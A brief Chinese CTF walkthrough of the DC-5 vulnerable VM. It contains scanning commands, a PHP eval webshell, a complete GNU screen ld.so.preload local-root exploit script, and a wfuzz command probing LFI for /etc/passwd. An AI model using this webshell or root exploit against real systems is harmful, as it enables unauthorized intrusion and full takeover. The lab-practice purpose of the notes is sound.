靶机DC-5的通关笔记
寻找靶机ip
fping -aqg 192.168.1.0/24
sudo nmap -sC -A -p- -n -Pn -T4 -oN DC-5 192.168.1.137
<?php eval($_REQUEST[xxx])?>
find / -user root -perm -4000 -print 2>/dev/null
echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell
最后总结:
1.本地文件包含(LFI),可以通过日志文件突破
2.一句话木马加了分号,包含日志文件不会被解析,或许是蚁剑的问题。
3.screen的提权方法
4.我真菜
补充:
可以用wfuzz工具爆破
wfuzz -w var.txt http://192.168.1.137/thankyou.php?FUZZ=/etc/passwd